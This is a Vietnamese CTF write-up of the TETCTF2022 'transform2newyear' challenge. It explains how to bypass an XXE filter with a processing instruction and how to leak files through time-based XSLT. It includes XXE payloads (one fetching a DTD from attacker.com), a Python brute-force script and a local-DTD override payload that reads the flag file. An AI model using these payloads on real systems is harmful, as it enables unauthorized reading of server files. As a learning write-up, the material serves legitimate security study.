---
# System prepended metadata

title: '[TETCTF2022] - transform2newyear'
tags: [Java]

---


# [TETCTF2022] - Transform2newyear

## Source code:
https://drive.google.com/file/d/1w4vyQOtuHLiXsBQBmtXFnnAdZWnr-wxT/view?usp=sharing

Bài trên mình không biết làm, cũng là lần đầu tiên nghe tên. Chỉ là ngồi đọc và viết lý thuyết chán quá nên mình kiếm gì đó để thực hành vừa thực hành vừa học luôn. May mắn là bài này còn source, và cũng có rất nhiều người đi trước đã viết writeup. Mình cũng chỉ là đi đọc writeup rồi note lại thui.
## Transform2newyear

Sau khi đã có source code ở trên, ném file jar vào jadx decompile thôi. 

![image](https://hackmd.io/_uploads/B1BSoSNap.png)

Ở URI `/tetctf/2022/transform2newyear` cho phép post xml và thực hiện **transform** với hàm `Utils.transform(doc)`
-> Vuln xảy ra ở hàm này là **XXE**

Oh ngon!! Úp payload XXE vào thôi, flag!flag!

```xml=
<?xml version="1.0" ?>
<!DOCTYPE message [
    <!ENTITY % ext SYSTEM "http://attacker.com/ext.dtd">
    %ext;
]>
<message></message>
```
![image](https://hackmd.io/_uploads/SkvYVLEa6.png)

Nhưng không, bài này không dễ thế, trình độ của mình chỉ ở bước úp payload trên vào thôi, từ sau đó là mình đi đọc WU của [anh này](https://nguyendt.hashnode.dev/tetctf2022-transform2newyear-admin-portal) và [anh nì](https://supreme-roarer-f48.notion.site/transform2newyear-admin-portal-109bc2312bf6419ba1099e45b7a248ab)

Dưới đây là chi tiết hàm **transform**:

![image](https://hackmd.io/_uploads/SJa04UN6a.png)

Có thể thấy XML được truyền vào sẽ đi qua hàm `parseXML(doc)` ở trong `parseXML()` lại có hàm `preParsingValidation()` và là hàm chính ngăn chặn XXE

![image](https://hackmd.io/_uploads/S1_irLEpp.png)

 Hàm này hoạt động như sau: duyệt từ bắt đầu tag comment `<--` đến cuối tag `-->` hoặc chạy từ đầu tag `<?xml` đến cuối `?>` và trả về vị trí cuối cuối cùng của tag.
 
Ví dụ chuỗi vào là `<-- hihihaha -->` hoặc `<?xml testtest ?>`

![image](https://hackmd.io/_uploads/r1lPhLN6T.png)

Thì nó sẽ trỏ biến `i` vào vị trí cuối tag là `>` sau đó kiểm tra xem đằng sau hai tag trên có phải là `<!DOCTYPE` không:
```java
int minLength = i + "<!DOCTYPE".length();
if (xmlString.length() >= minLength && "<!DOCTYPE".equals(xmlString.substring(i, minLength))) 
```
Thử request phát biết đúng nhận sai cãi ngay :D

![image](https://hackmd.io/_uploads/r1gqpLNpa.png)

![image](https://hackmd.io/_uploads/rJOTa8E6a.png)

Vậy giờ phải tìm cách làm sao để bypass hàm `preParsingValidation()`. Đương nhiên rồi đọc blog của hai anh ở trên. Sau đó mình có được [link docs của XML](https://www.w3.org/TR/xml/)

Kéo đến phần **Prolog and Document Type Declaration** (Mình hiểu là cấu trúc của XML và khai báo DTD)

![image](https://hackmd.io/_uploads/B1kJfDV66.png)

Map với payload gà vịt của mình ở trên thì sẽ như hình. Có thể thấy. Ở giữa **XMLDecl** và **doctypedecl** còn có thể chèn một tag nữa là **Misc**

**Misc** ở đây có thể là
* Comment: `<!-- declarations for <head> & <body> -->`
cái này bị block rùi như mình mô tả ở trên.
* PI: `<? hehe ?>` --> chắc chắn là đây rồi

    ![image](https://hackmd.io/_uploads/SJ6ZHD4pa.png)

* S:
![image](https://hackmd.io/_uploads/HJ_LHw4TT.png)

Vấn đề filter đã được giải quyết
![image](https://hackmd.io/_uploads/rJzsLPV66.png)

Nhưng lại gặp vấn đề tiếp theo là ở bài này tác giả đã chặn outbound
```nginx
firewall strictly prohibit making out-going connection
```

Lúc này không có outbound thì ta phải làm sao. Error based cũng không được vì chẳng có chỗ nào response lại exception.

Theo mình đọc ở hai blog trên và tham khảo một [link](https://blog.tint0.com/2021/09/pinging-xmlsec.html) nữa được giới thiệu trong bài thì có thể sử dụng XSLT để leak flag với time based.

Nghe kinh đấy, cơ mà cái đoạn trên mình đi cóp theo thôi chứ cũng không hiểu **XSLT leak** với time base là cái gì cả :Vv 

### Ping'ing XMLSec

Cơ chế này theo mình đọc liên quan đến **XML Digital Signature** và có dóc của nó [ở đây](https://www.w3.org/TR/2013/REC-xmldsig-core1-20130411/#sec-URI) (Từ đây chắc là phần mình dịch lại link mình đính kèm ở trên)

Có một feature thú vị ở `4.4.3.1` tác giả có nhắc đến cụm từ "dereference the uri in http scheme" thì mình dịch từ `dereference` không hiểu lắm cho đến khi vứt lên google dịch tìm các nghĩa khác của từ này: 
> obtain from (a pointer) the address of a data item held in another location.

Thì theo mình hiểu đơn giản là feature này sẽ cho phép chúng ta **nhúng bất kỳ local file nào vào bên trong cấu trúc XML DOM**. Sau đó chúng ta phải tìm cách extract nội dung file được nhúng vào trong node.

Tiếp tục đọc thì tác giả có viết là chúng ta có thể xây dựng một XPath tách biệt để extract thông tin trong node với hai nhánh điều kiện ĐÚNG hoặc SAI.

![image](https://hackmd.io/_uploads/SJWzEDra6.png)

Từ đây chúng ta có thể xác định tên Folder, file, nội dung của file

```javascript
<?xml version="1.0" encoding="UTF-8"?><?bla?>
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///"> ]>

<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
          <xsl:template match="/">
          <xsl:if test="substring(//files,1,1)='.'">
            <xsl:for-each select="//.">
            <xsl:for-each select="//.">
            <xsl:for-each select="//.">
            <xsl:for-each select="//.">
            <xsl:for-each select="//.">
<xsl:for-each select="//.">
            <a/>
           </xsl:for-each>
            </xsl:for-each>
            </xsl:for-each>
            </xsl:for-each>
            </xsl:for-each>
          </xsl:if>

<files>&xxe;</files>
 </xsl:template>
        </xsl:stylesheet>
```

Script bruteforce tên folder và file from [to^](https://nguyendt.hashnode.dev/tetctf2022-transform2newyear-admin-portal)

```python

import requests
import string
import time
from html import escape

url = "http://localhost:80/tetctf/2022/transform2newyear"
headers = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36", "Accept-Encoding": "gzip, deflate", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9", "Connection": "close", "sec-ch-ua": "\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"96\"", "sec-ch-ua-mobile": "?0", "sec-ch-ua-platform": "\"Linux\"", "Upgrade-Insecure-Requests": "1", "Sec-Fetch-Site": "none", "Sec-Fetch-Mode": "navigate", "Sec-Fetch-User": "?1", "Sec-Fetch-Dest": "document", "Accept-Language": "en-US,en;q=0.9", "Content-Type": "text/xml"}

#find secret directory

res = ""
for i in range(1,1000):
    for c in '.' + string.ascii_lowercase + ' ' + string.ascii_uppercase + string.digits: 
        data = f"<?xml version=\"1.0\" encoding=\"UTF-8\"?><?bla?>\r\n<!DOCTYPE foo [ <!ENTITY xxe SYSTEM \"file:///\"> ]>\r\n\r\n<xsl:stylesheet version=\"1.0\" xmlns:xsl=\"http://www.w3.org/1999/XSL/Transform\">\r\n          <xsl:template match=\"/\">\r\n          <xsl:if test=\"substring(//files,{str(i)},1)='{c}'\">\r\n            <xsl:for-each select=\"//.\">\r\n            <xsl:for-each select=\"//.\">\r\n            <xsl:for-each select=\"//.\">\r\n            <xsl:for-each select=\"//.\">\r\n            <xsl:for-each select=\"//.\">\r\n<xsl:for-each select=\"//.\">\r\n            <a/>\r\n           </xsl:for-each>\r\n            </xsl:for-each>\r\n            </xsl:for-each>\r\n            </xsl:for-each>\r\n            </xsl:for-each>\r\n            </xsl:for-each>\r\n          </xsl:if>\r\n\r\n \r\n<files>&xxe;</files>\r\n </xsl:template>\r\n        </xsl:stylesheet>"

        payload= data.replace("INDEX", str(i)).replace("CHAR", c)
        start = time.time()
        r = requests.post(url, headers=headers, data=data)
        end = time.time()
        if "Happy" not in r.text:
            print("sthing wrong")
            exit()
        if(end - start > 0.4):
            res += c
            print(f"[-] res: {res}")
            break
```

![image](https://hackmd.io/_uploads/r1uKSPrTT.png)

->> folder name: `2X2t5yWyuz`

![image](https://hackmd.io/_uploads/Bkk2HPB66.png)
-> flag file name: `flag7wXWV.txt`

Đến đây có một vấn đề nữa đó là trong flag có chứa `<? ?>`

"Cách xử lý ở đây là sử dụng CDATA. Ta cần đặt flag vào giữa `<!CDATA[]]>` khi đó **xml parser sẽ ignore kí tự `<?`** và ta có thể đọc full flag. Để làm được điều này thì ta phải khai báo external dtd, vì chỉ có ở external dtd ta mới có thể nối chuỗi, đó là lí do tại sao các payload outbound lại phải host dtd ở ngoài. Cơ mà giờ không có outbound thì khai báo external dtd làm sao được 😢

Thật may là vào năm 2019 đã có một kĩ thuật được công bố giúp khắc phục khó khăn này [link](https://mohemiv.com/all/exploiting-xxe-with-local-dtd-files/). Đó là sử dụng local dtd và tìm các entity có khả năng override được. Tool để tìm kiếm các local dtd đã được Gosecure [public tại đây](https://www.gosecure.net/blog/2019/07/16/automating-local-dtd-discovery-for-xxe-exploitation/) và giờ tôi chỉ cần chạy nó. Sau đó thì tôi có kết quả" cóp văn from [here](https://supreme-roarer-f48.notion.site/transform2newyear-admin-portal-109bc2312bf6419ba1099e45b7a248ab)

![image](https://hackmd.io/_uploads/H1GGFDSp6.png)


Tool tìm file local dtd
![image](https://hackmd.io/_uploads/Sye3ctvSap.png)



Từ tool chúng ta có payload:
```xml
<?xml version="1.0" encoding="UTF-8"?><?bla?>
<!DOCTYPE message [
    <!ENTITY % local_dtd SYSTEM "file:///usr/share/xml/fontconfig/fonts.dtd">

    <!ENTITY % constant 'aaa)>
        <!ENTITY &#x25; start "<![CDATA[">
        <!ENTITY &#x25; end "]]>">
        <!ENTITY &#x25; file SYSTEM "file:///2X2t5yWyuz/flag_7wXWV.txt">
        <!ENTITY &#x25; eval "<!ENTITY data &#x27;&#x25;start;&#x25;file;&#x25;end;&#x27;>">
        &#x25;eval;
        <!ELEMENT aa (bb'>

    %local_dtd;
]>

<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
          <xsl:template match="/">
          <xsl:if test="substring(//files,0,1)='3'">
            <xsl:for-each select="//.">
            <xsl:for-each select="//.">
            <xsl:for-each select="//.">
            <xsl:for-each select="//.">
            <xsl:for-each select="//.">
<xsl:for-each select="//.">
            <a/>
           </xsl:for-each>
            </xsl:for-each>
            </xsl:for-each>
            </xsl:for-each>
            </xsl:for-each>
            </xsl:for-each>
          </xsl:if>


<files>&data;</files>
 </xsl:template>
        </xsl:stylesheet>
```